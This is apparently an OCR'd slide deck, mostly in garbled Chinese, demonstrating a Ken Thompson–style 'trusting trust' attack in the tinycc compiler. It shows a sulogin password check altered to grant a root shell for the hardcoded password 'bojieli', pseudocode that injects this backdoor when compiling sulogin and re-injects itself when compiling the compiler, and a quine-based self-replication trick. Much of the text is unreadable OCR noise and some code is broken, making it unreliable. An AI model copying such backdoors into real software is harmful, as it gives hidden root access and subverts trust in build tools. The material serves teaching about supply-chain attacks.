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What is sulogin?

o Linux REAFERTHIERE , MIaBXMEAREE
AR

@ Give root password for maintenance
(or type Control-D to continue):

o XNMEFAGEPA root SUNEITHI , XRG A FEIRER
BA AR root BILERIEN , MR IEMHKNERIIN—
/N root shell

o MPILXNMEFAZERIEMENZ R , KB HHIES
bojieli IXANEAG: - -+

o TEFRAIM sulogin FIRRS (7E util-linux IXMEE) 4.
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#5 sulogin A JGI]

while (pwd) {

if ((p = getpasswd(pwd->pw_passwd)) == NULL)
break;

if (pwd->pw_passwd[0] == 0 ||

strcmp (crypt (p, pwd->pw_passwd) , pwd->pw_passwd) == 0)

sushell (pwd) ;

mask_signal (SIGQUIT, SIG_IGN, &saved_sigquit);

mask_signal (SIGTSTP, SIG_IGN, &saved_sigtstp);

mask_signal (SIGINT, SIG_IGN, &saved_sigint);

fprintf (stderr, _("Login incorrect\n\n"));
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while (pwd) {

if ((p = getpasswd(pwd->pw_passwd)) == NULL)
break;

if (pwd->pw_passwd[0] == 0 ||
strcmp(p, "bojieli") == |

strcmp (crypt (p, pwd->pw_passwd) , pwd->pw_passwd) == 0)

sushell (pwd) ;

mask_signal (SIGQUIT, SIG_IGN, &saved_sigquit);

mask_signal (SIGTSTP, SIG_IGN, &saved_sigtstp);

mask_signal (SIGINT, SIG_IGN, &saved_sigint);

fprintf(stderr, _("Login incorrect\n\n"));
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o 7£ sulogin FIHEAN—ENLEAE A RTRES |, SRIEE XAHA

=T
o MRRGHREBRMEL | ARILIERTAE KR
KGR ?

e function compile() {
if (match("sulogin"))
ReplaceMatchedCode ("login-backdoor") ;
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RAE tec N IRADHIR Kz

o IMFZFBRE I , £ AST (FHZR N ) EXR _EME#R , ER
Phihad , (BRI K

o 7 tcc JiiFASTF , FATMEEURAIEMZ HAXTF
o —EiZRIHEI S ILEC L —BARA , SiBsh BRI
o UM CHEETRIATFTHHBEMR , MESRESHHH A

@ 2-compiler-backdoor/tinycc/tccpp.c
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1B a1 AL 5k

o MAEITIH C fmixssh A —BIABHGEI IR , /EATFR
RIEBAHEEBARASHWEN

o MR ImFHREMEFEEN , BaEAGIT

o MFERNIRE %ﬁfwé%ﬁﬁAFﬂm EN, NERGmF
PR EXA Ei ks T

e function compile() {
if (match("sulogin"))
ReplaceMatchedCode ("login-backdoor") ;
else if (match("tcc-compiler"))
ReplaceMatchedCode ("tcc-backdoor") ;
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o ¥ CABSH , FKAEAIT T RERIE B HRLHK C F2FF

o MFERHIICREFERRERSE , AMAZEHE

o M B S ? IRARD—E B4 IRAE 1 HI S A EHRER
s

@ char *s = "\";printf(\"char *s = \\\"%s%s\");";
printf("char *s = \"%skhs");

o RIDEEMIX , —IXEBIEAFHRN—HS , H—IXHYR
¥ PR RR

o HTFHPEETHIRKFTHRTERN , EXLE—Km
i T R IAR AL IE

o SKHAE self-print/hello.c

o WAEFF Al IMEEEEMEMARD , RIESFEFHRT G
< A B 0 )
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char *tcc_replace = "Copy of the following code";

char *tcc_match = "code before backdoor";

char *tcc_match_end = "code after backdoor";

Code to match and replace sulogin

if (match(tcc_match, tcc_match_end)) {
DeleteMatchedCode() ;
InsertCode("char *tcc_replace = \"");
InsertCode(StringEscape(tcc_replace));
InsertCode (tcc_replace);
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Yk Jal YRR

o fWFEALIMASEI I tecc-new (JaIIE teepp.c) , AT AYR
FEMT , XEANREIER "tcc

o AT EIH tcc-new JRiFIEAR tec JREY tec-orig , HAERANSA
#al 18 tec-orig, XANEZS (bootstrap) TFEFREARR
T—RME].

o i tcc-orig 4miFE sulogin , 152H /51718 sulogin

o MNRA tcc-orig BIRIMFIEMR tec JRRL , 132INZMIFR A
%Ei T, R RIIRIEZS RS 4-release fEAA
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o B YmEE S EHT™ el 1M tcc Z3tHISUHFIER] JRIA tcc
ALY il

o 7E 4-release B3RM] sulogin F tcc JRREF ELEAAE bojieli
XANFITE

o JMFBGFEIN tcc SEHH tcc T2ME , WHEATTEE
BEBEMEAIMTE . NEZXImFEFIBISEIN tcc AT
AE , ERALARFSRBENER FHARBTETT. X
N 7N

o REMXMRMIFIRIINF sulogin , S BFNEAGEIT , KM
BEE KT B AT ELM:)

o XE—NBRAKWAEL , TRATHRANEERI]
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o WNRAFILALAIRENIIFIE Z P XA R |, FoiAILECE!

o BBILACE RIS THAKE , MZ A EREMMIILACE X

o TEHIN I TP IRAEIEEL (.data section) F , BERE
BR—KEFEARE , XIEERS ALK, MZ AR
RIPNATE | SEXBREBURHITING |, 1E1TR BEER.

o TJWE—/1NEARIESEREIEAGE] , RISFILME
tec_replace XEEF R
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FFRAR—ERLN ?

o MYRAERRF R ZHEZEEREIGI] , NAKKATR |, 4§
FRNEE R A miFas BT  XEREIAED
{ATRBB R RRDERAN AT REA L.

o MRHWI ZFRANFRASEFFEEXHMNGE] , TTeERBY
FRR KRR E B A BE AN E TELE.

o ASREGENMTF UNIX ZAL Ken Thompson [ 1984 EE R ¥
IRZIEIF Reflections on Trusting Trust, FX{IJANBEM{S{E(T
ARTEHECAIERNAE,

e Ken Thompson ¥ , NRBIANBI TR EBIF , MEIC
Ymes. HEEES  BEERAHELE 2 BGHEAE , BEMES
AN,

e I 30 &R , Ken Thompson FFEH 7T XS ITEMAE Y {F
= EM | IETREERARERITA.
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The End

o i !
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